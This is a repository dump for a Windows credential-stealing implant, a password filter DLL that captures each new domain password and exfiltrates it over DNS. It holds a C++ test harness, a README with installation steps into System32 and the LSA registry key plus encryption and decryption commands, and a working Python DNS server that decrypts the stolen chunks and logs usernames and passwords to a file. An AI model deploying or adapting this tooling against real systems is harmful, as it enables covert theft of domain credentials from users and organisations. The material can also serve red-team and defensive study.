| {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /PoC/main.cpp: -------------------------------------------------------------------------------- 1 | // TestJig.cpp : This file contains the 'main' function. Program execution begins and ends there. 2 | // 3 | 4 | #define WIN32_LEAN_AND_MEAN 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #include "../DLLPasswordFilterImplant/crypt.h" 12 | 13 | extern "C" { 14 | 15 | __declspec(dllexport) BOOLEAN WINAPI InitializeChangeNotify(void); 16 | __declspec(dllexport) BOOLEAN WINAPI PasswordFilter(PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOLEAN SetOperation); 17 | __declspec(dllexport) NTSTATUS WINAPI PasswordChangeNotify(PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword); 18 | 19 | 20 | } 21 | 22 | wchar_t STR[] = L"HELLO"; 23 | int main() 24 | { 25 | std::cout << "Hello World!\n"; 26 | 27 | wchar_t* buf = new wchar_t[10]; 28 | memcpy(buf, &STR, sizeof(STR)); 29 | 30 | // Lol penible. 31 | UNICODE_STRING acc; 32 | acc.Buffer = buf; 33 | acc.Length = 10; acc.MaximumLength = 20; 34 | InitializeChangeNotify(); 35 | assert(PasswordFilter(&acc, &acc, &acc, 1)); 36 | 37 | if (PasswordFilter(&acc, &acc, &acc, 1)) { 38 | PasswordChangeNotify(&acc, 123, &acc); 39 | } 40 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DLLPasswordFilterImplant 2 | 3 | DLLPasswordFilterImplant is a custom password filter DLL that allows the capture 4 | of a user's credentials. Each password change event on a domain will trigger the 5 | registered DLL in order to exfiltrate the username and new password value prior 6 | successfully changing it in the Active Directory (AD). 7 | 8 | For more information about password filters consult the [Microsoft documentation][1]. 9 | 10 | 11 | [1]: (https://msdn.microsoft.com/en-us/library/windows/desktop/ms721882(v=vs.85).aspx) "Password Filter Documentation" 12 | 13 | ## Installing 14 | 15 | 1. To install the password filter on a system: 16 | * Create the DLL for the targeted architecture. Compile in 32-bit for a 32-bit system and in 64-bit for a 64-bit system. 17 | * Copy the DLL to the Windows installation directory. (Default folder: \Windows\System32) 18 | * Register the password filter by updating the following registry key: 19 | ``` 20 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 21 | ``` 22 | If the `Notification Packages` subkey exists, add the name of the DLL ("DLLPasswordFilterImplant" if you didn't rename it) to the existing value data. Do not overwrite the existing values. 23 | If the subkey does not exist, create it and add the name of the DLL ("DLLPasswordFilterImplant" if you didn't rename it) to the value data. 24 | **NOTE:** Do not include the `.dll` extension when adding the name of the DLL in the `Notification Packages` subkey. 25 | * Configure the public key to use for encrypting credentials. 26 | ``` 27 | KEY=key.pem 28 | # Generate an RSA key and dump its public key. Keep the private key around for decryption 29 | openssl genrsa -out $KEY 2048 30 | 31 | # Prepare the Windows registry key entry. 32 | echo 'Windows Registry Editor Version 5.00' > addKey.reg 33 | echo >> addKey.reg 34 | echo '[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]' >> addKey.reg 35 | # If python2 does not exist, use `python` instead. 36 | echo "Key=hex:$(openssl rsa -in $KEY -pubout | sed -E '/^\-/d' | base64 -d | python2 -c 'import sys; print(",".join(["{:02x}".format(ord(b)) for b in sys.stdin.read()]))')" >> addKey.reg 37 | ``` 38 | You can then run `addKey.reg` file to append the raw public key to the registry. 39 | Note that using asymmetric encryption significantly increases the size of 40 | the data to exfiltrate due to message padding. There are possible 41 | improvements to be made to reduce the data overhead. 42 | 43 | * Restart the system 44 | [Source](https://msdn.microsoft.com/en-us/library/windows/desktop/ms721766(v=vs.85).aspx) 45 | 46 | 2. To register the key and the domain for DNS exfiltration: 47 | * Go to the following registry key: 48 | ``` 49 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 50 | ``` 51 | * Create a string type subkey named "Domain". Specify your domain in the value of that subkey. **Your domain must start with a "." .** (Example value: ".yourdomain.com") 52 | 53 | ## Decrypting 54 | 55 | The encrypted data is padded using OAEP and can be decrypted as follows: 56 | 57 | ``` 58 | # Convert the stitched hex string to raw bytes. 59 | xxd -r -p exfiltrated.hex > raw.bin 60 | 61 | # Decrypt using the private key. 62 | openssl rsautl -decrypt -oaep -inkey $KEY -in raw.bin -out decrypted.txt 63 | ``` 64 | 65 | ## Uninstalling 66 | 67 | To completely remove the password filter of a system: 68 | * Unregister the password filter by updating the following registry key: 69 | ``` 70 | HKEY_LOCAL_MACHINE SYSTEM\CurrentControlSet\Control\Lsa 71 | ``` 72 | In the Notification Packages subkey remove the name of the DLL of the existing value data. Do not remove other existing values. 73 | 74 | * Restart the system 75 | * In the Windows installation directory (Default folder: \Windows\System32), find the password filter DLL ("DLLPasswordFilterImplant.DLL" if you didn't rename it) and delete the file. 76 | 77 | 78 | ## DNS Exfiltration Server 79 | 80 | A simple DNS server to receive the exfiltrated data is provided in `scripts/`. 81 | Run `pip install -r scripts/requirement.txt`, preferably in a virtual 82 | environment. and then provide it with a .PEM encoded private key and optional 83 | output file (defaults to `creds.txt`) where to output the credentials. 84 | 85 | Currently, the DNS server does not support concurrent password changes and 86 | serves only as a proof of concept. Pull requests adding robustness to the server 87 | are more than welcome. 88 | 89 | 90 | ## Caveats 91 | 92 | - Deleting the implant requires to first disable it and then restart Windows. 93 | 94 | 95 | ## Compatibility 96 | 97 | Works on: 98 | * Windows 7 Hosts (x64) 99 | * Windows 10 Hosts (x64) 100 | * Windows Server 2008 DCs (x64) 101 | * Windows Server 2012 DCs (x64) 102 | * Windows Server 2016 DCs (x64) 103 | 104 | The password filter was tested exclusively on systems listed above. 105 | 106 | ## Debug 107 | 108 | Here are some tool that may help you debug the DLL (if necessary): 109 | * [Process Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer) 110 | * [Dependency Walker](http://www.dependencywalker.com/) 111 | 112 | -------------------------------------------------------------------------------- /scripts/dns.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from __future__ import print_function 5 | 6 | import re 7 | from math import ceil 8 | import time 9 | 10 | from dnslib import RR,QTYPE,RCODE,TXT,parse_time 11 | from dnslib.label import DNSLabel 12 | from dnslib.server import DNSServer,DNSHandler,BaseResolver,DNSLogger 13 | from Crypto.PublicKey import RSA 14 | from Crypto.Cipher import PKCS1_OAEP 15 | 16 | SYNTAX = re.compile(r'(\d+)\.([a-fA-F0-9]+)\..*') 17 | MAX_LABEL_SIZE = 62 # Should match define in passwordFilter.c 18 | 19 | class ExfilResolver(BaseResolver): 20 | """ 21 | A DNS resolver that always replies with an empty record, but keeps track of 22 | encrypted chunks and dumps decrypted blocks. 23 | 24 | The chunks are formatted according to the `SYNTAX` regular expression, that is: 25 | ..domain.name.tld 26 | 27 | For example, `01.85437de3829bc[...]432f.dns.evil.com` 28 | 29 | The server will compupte the expected number of chunks based on the private 30 | key length automatically. 31 | 32 | Currently, the server does not support concurrent requests, in the off chance that 33 | two password changes occur simultaneously. This could be implemented in two ways: 34 | 35 | 1. Cluster chunks by time intervals. This can still fail if two resets 36 | happen in very close succession. 37 | 2. Add an additional label on the domain that contains a block 38 | identifier. This requires changing the implant code and updating the 39 | Empire module. 40 | 41 | FIXME: Group by time proximity to avoid interleaving? 42 | FIXME: Edge case: Simultaneous exfiltrations will lead to interleaved blocks 43 | """ 44 | def __init__(self,ttl,outfile, key): 45 | self.ttl = parse_time(ttl) 46 | self.out = outfile 47 | self.key = key 48 | self.chunk_num = ceil(key.size_in_bytes() / (MAX_LABEL_SIZE/2.0)) 49 | 50 | # Keep track of requests 51 | self.chunks = {} 52 | 53 | def decrypt(self, block): 54 | rsa = PKCS1_OAEP.new(self.key) 55 | return rsa.decrypt(block).strip().replace('\x00', '') 56 | 57 | def resolve(self,request,handler): 58 | reply = request.reply() 59 | qname = request.q.qname 60 | # Format is 00.DATA.domain.tld' 61 | qstr = str(qname) 62 | label = qstr.split('.') 63 | 64 | if SYNTAX.match(qstr): 65 | chunk_id = int(label[0]) 66 | chunk_data = label[1] 67 | if chunk_id not in self.chunks: self.chunks[chunk_id] = chunk_data 68 | 69 | # Decrypt and dump the chunk 70 | if len(self.chunks) == self.chunk_num: 71 | block = "".join([ self.chunks[i] for i in sorted(self.chunks.keys())]).decode('hex') 72 | plain = self.decrypt(block) 73 | try: 74 | print('[+] %s: Credentials logged for user %s' % (time.ctime(), plain.split(':')[0])) 75 | with open(self.out, 'ab') as o: 76 | o.write('[%s] %s\n' % (time.ctime(), plain)) 77 | except: 78 | pass 79 | self.chunks.clear() 80 | 81 | reply.add_answer(RR(qname,QTYPE.TXT,ttl=self.ttl, rdata=TXT("x00x00x00x00x00"))) 82 | return reply 83 | 84 | if __name__ == '__main__': 85 | import argparse,sys,time 86 | 87 | p = argparse.ArgumentParser(description="A simple receive-only DNS server for exfiltration") 88 | p.add_argument("--ttl","-t",default="60s", metavar="", help="Response TTL (default: 60s)") 89 | p.add_argument("--port","-p",type=int,default=53, metavar="", help="Server port (default:53)") 90 | p.add_argument("--address","-a",default="", metavar="
", help="Listen address (default:all)") 91 | p.add_argument("--output", "-o",required=False, default="creds.txt", help="Filename to output credentials to (default: creds.txt)") 92 | p.add_argument("--key", "-k",required=True, default="key.pem", help="Path to the private key for decryption") 93 | args = p.parse_args() 94 | 95 | print('[+] dns.py Started: %s' % (time.ctime())) 96 | # Load private key 97 | print('[+] Loading private key...') 98 | with open(args.key, 'rb') as k: 99 | raw = k.read() 100 | try: 101 | key = RSA.import_key(raw) 102 | except: 103 | # Maybe with a passphrase? 104 | try: 105 | import getpass 106 | p = getpass.getpass() 107 | key = RSA.import_key(raw, passphrase=p.strip()) 108 | except Exception as e: 109 | print('[!] Could not read private key: ' + str(e)) 110 | sys.exit(1) 111 | 112 | resolver = ExfilResolver(args.ttl, args.output, key) 113 | # logger = DNSLogger("request,reply,truncated,error",False) 114 | logger = DNSLogger("error",False) 115 | 116 | udp_server = DNSServer(resolver, port=args.port, address=args.address, logger=logger) 117 | udp_server.start_thread() 118 | 119 | print('[+] DNS Server started') 120 | while udp_server.isAlive(): time.sleep(1) 121 | -------------------------------------------------------------------------------- /scripts/requirements.txt: -------------------------------------------------------------------------------- 1 | pycryptodome 2 | dnslib 3 | --------------------------------------------------------------------------------